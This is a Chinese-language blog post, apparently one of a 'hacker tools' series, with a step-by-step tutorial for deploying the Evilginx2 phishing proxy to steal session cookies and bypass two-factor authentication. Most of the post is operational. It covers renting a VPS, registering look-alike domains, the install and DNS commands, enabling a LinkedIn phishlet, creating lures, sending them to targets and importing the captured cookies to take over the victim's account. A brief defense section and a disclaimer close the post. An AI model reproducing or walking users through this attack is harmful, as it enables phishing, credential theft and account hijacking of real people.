
用心做分享,只为给您最好的学习教程如果您觉得文章不错,欢迎持续学习

嘿,各位技术探索者们,欢迎回到我们的黑客工具谱。
在当今这个安全意识日益增强的时代,双因素认证(2FA/MFA)几乎成了所有重要账户的“标配护盾”。当你以为有了密码+手机验证码/Authenticator的双重保护,账户就固若金汤时,一个幽灵般的存在笑了——它就是Evilginx2。
传统的钓鱼,顶多是骗个账号密码。但面对2FA,这种方法瞬间失灵。而Evilginx2的出现,彻底改变了游戏规则。它要的不是你的密码,而是你与网站之间的“信任凭证”——Session Cookie。
今天,我们就来深入剖析这个被誉为“中间人攻击框架之王”的工具,看看它是如何巧妙地绕过2FA,实现“降维打击”的。
⚠️免责声明:本文所有内容仅供技术学习与研究,旨在帮助网络安全从业者提升防御能力。严禁用于任何非法用途,否则后果自负!在授权的靶场环境中练习是唯一的正确姿势。
🎣 知己知彼:Evilginx2为何如此“邪恶”?Evilginx2是由波兰安全研究员Kuba Gretzky (@mrgretzky)开发的一款独立的中间人攻击框架。
它和传统钓鱼网站最大的区别是什么?
传统钓鱼:复制一个静态的假登录页面。用户输入密码,网站就把它记下来。功能单一,无法应对动态验证码或2FA。
Evilginx2:它不是“复制”,而是“代理”。它像一个透明的中间人,架设在真实用户和目标网站之间。你对网站的所有操作,都会原封不动地经过它。
当受害者通过你的Evilginx2链接访问目标网站(如GitHub、Google等)时,他们看到的是一个功能完全正常的真实网站!他们可以正常输入账号、密码,甚至完成2FA验证。
而在这个过程中,Evilginx2就像一个“隐形的收费站”,默默地拦截并记录下了所有流经的数据,其中就包括了认证成功后,服务器颁发给浏览器的会话Cookie。
拿到这个Cookie,攻击者就能直接导入自己的浏览器,从而跳过所有登录和2FA步骤,直接以受害者的身份登录系统。这,就是它最致命的地方。
⚙️ 战前准备:打造你的“钓鱼代理服务器”要驾驭Evilginx2,你需要一些基础准备。这不像在本地运行个小程序那么简单,你需要一个面向公网的“阵地”。
一台VPS(公网服务器):任何云服务商的入门级服务器即可,比如Vultr, DigitalOcean, AWS EC2等。确保它有一个独立的公网IP。
一个域名:你需要拥有一个域名,并且能够配置它的DNS记录。为了增加迷惑性,域名可以与目标网站相似,例如githúb.com(使用特殊字符) 或github-security.com。
Go语言环境:Evilginx2是使用Go语言编写的,所以服务器上需要安装Go。
基础的Linux和DNS知识:你需要知道如何通过SSH连接服务器,以及如何设置A记录和NS记录。
⚔️ 实战演练:三步劫持会话,绕过2FA好了,假设你已经准备好了一台全新的Ubuntu服务器和一个域名your-evil-domain.com。让我们开始部署。
第一步:环境配置与DNS设置这是最关键的一步,DNS配错了,后续一切都免谈。
安装Evilginx2:通过SSH登录你的VPS,然后执行以下命令:
sudo apt update && sudo apt install gitgit clone https://github.com/kgretzky/evilginx2.gitcd evilginx2makesudo make install
配置DNS记录:登录你的域名注册商后台,为你的域名添加两条记录:
这样设置后,Evilginx2就能完全控制所有*.phish.your-evil-domain.com格式的子域名,并为它们自动申请SSL证书。
phish.your-evil-domain.com->NS记录->your-evil-domain.com
your-evil-domain.com->A记录->你的VPS_IP地址
一条A记录,将你的主域名指向你的VPS IP。
一条NS记录,将一个子域名(比如phish)的解析权交给你的主域名。
第二步:配置并启动Evilginx2现在,让我们来配置这个“邪恶”的代理。
启动Evilginx2:在你的VPS上,直接运行:
sudo evilginx2
基础配置:在Evilginx2的控制台里,输入以下命令进行配置:
# 设置你的域名config domain your-evil-domain.com# 设置你的服务器IPconfig host 你的VPS_IP地址
配置钓鱼模块 (Phishlet):Evilginx2使用phishlet来定义针对不同网站的钓鱼规则。我们以linkedin为例。
# 启用linkedin的phishletphishlets enable linkedin# 查看phishlet的状态,确保没有错误phishlets get linkedin
你会看到它需要一个主机名,比如www.linkedin.phish.your-evil-domain.com。Evilginx2会自动处理这个子域名的创建和证书申请。
第三步:生成链接,坐等“鱼儿”上钩万事俱备,只欠一个链接。
创建诱饵 (Lure):
# 为linkedin创建一个诱饵lures create linkedin
这会生成一个唯一的钓鱼URL。
获取钓鱼链接:
# 查看你创建的所有诱饵lures# 获取第0个诱饵的详细信息,包括URLlures get 0
你会得到一个类似https://www.linkedin.phish.your-evil-domain.com/some-random-path的链接。
现在,将这个链接通过邮件、私信等方式发送给你的“目标”。当他点击链接,输入账号密码和2FA代码后,你的Evilginx2控制台就会沸腾起来!
你会看到捕获的用户名、密码,以及最重要的——会话Cookie!
第四步:导入Cookie,完成接管拿到Cookie后,打开你自己的浏览器(推荐Chrome或Firefox),安装一个Cookie管理插件,如Cookie-Editor。
访问真实的linkedin.com。
点击Cookie-Editor插件图标。
删除所有现有的Cookie。
点击“Import”,将从Evilginx2捕获到的Cookie数据(通常是JSON格式)粘贴进去。
刷新页面。
奇迹发生了!你不需要输入任何密码或2FA,直接就登录了受害者的LinkedIn账户。
🛡️ 防御加固:如何抵御“邪恶代理”?魔高一尺,道高一丈。如何防范这种高级钓鱼攻击?
火眼金睛,检查域名:这是最基本也是最有效的方法。养成在输入密码前检查浏览器地址栏的习惯。github.com才是官网,github-security.com或githab.com都是假的。
使用U2F/FIDO2物理安全密钥:这是目前公认的能有效抵御此类钓鱼的终极方案。像YubiKey这样的硬件密钥,会将验证与域名绑定,即使你在假网站上,密钥也不会授权登录,因为它识别出域名不匹配。
企业级防护:企业应部署先进的邮件网关和网络监控系统,检测并阻止已知的钓鱼域名和可疑的流量模式。
总结Evilginx2的出现,向我们揭示了一个残酷的现实:在网络世界里,没有绝对的安全。它不仅是一个强大的攻击工具,更是一个深刻的教育工具,它告诉我们,过度依赖密码和传统2FA是危险的,会话管理和身份验证的未来,需要更强大的技术来守护。
点个“在看”,让更多人了解高级钓鱼的威胁。持续关注,我们将继续探索网络攻防的奥秘!
本文仅作技术分享 切勿用于非法途径
